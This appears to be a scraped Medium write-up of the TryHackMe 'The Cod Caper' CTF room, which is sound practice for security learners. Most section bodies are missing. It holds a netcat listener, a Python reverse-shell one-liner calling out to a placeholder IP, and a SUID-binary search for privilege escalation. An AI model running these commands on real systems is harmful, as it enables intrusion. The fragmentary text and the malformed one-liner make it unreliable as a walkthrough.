Tryhackme:The Cod Caper


  1. Help me out! :)

Host Enumeration:

Useful flags:

Web Enumeration:

Useful flags:

  • x=Used to specify file extensions i.e “php,txt,html”
    — url=Used to specify which url to enumerate
    — wordlist=Used to specify which wordlist that is appended on the url path

Web Exploitation:

  1. What is the admin username?

Command Execution:

  1. How many files are in the current directory?
nc -nvlp 80
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRES",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


Method 1: SCP

Method 2: SimpleHTTPServer

scp pingu@cod:/tmp
chmod +x
find / -perm -u=s -type f 2>/dev/null


Binary-Exploitaion: Manually:

Binary Exploitation: The pwntools way:

Finishing the job:





CTF-PLAYER, security analyst, Pentesting, vapt, digital forensics

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Working with LiDAR — Webinar 1 Getting Started with Sensor Data

Where to Begin Writing Your First Line of Code

Linux Basic Commands -2

Checklist to cover in your programming journey

[PF2e Item] Dulaman Algae

Data Analyst for B2B Retail use SQL

SRE / DevOps / Kubernetes Weekly Collection#42(Week 47)

Feeling Code As Blood Runs Through Veins

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store


CTF-PLAYER, security analyst, Pentesting, vapt, digital forensics

More from Medium

AXES Metaverse AMA recap

StarkNet: Next Level Scaling.

How to swap GFX into new contract?

Dead Knight Metaverse — The first look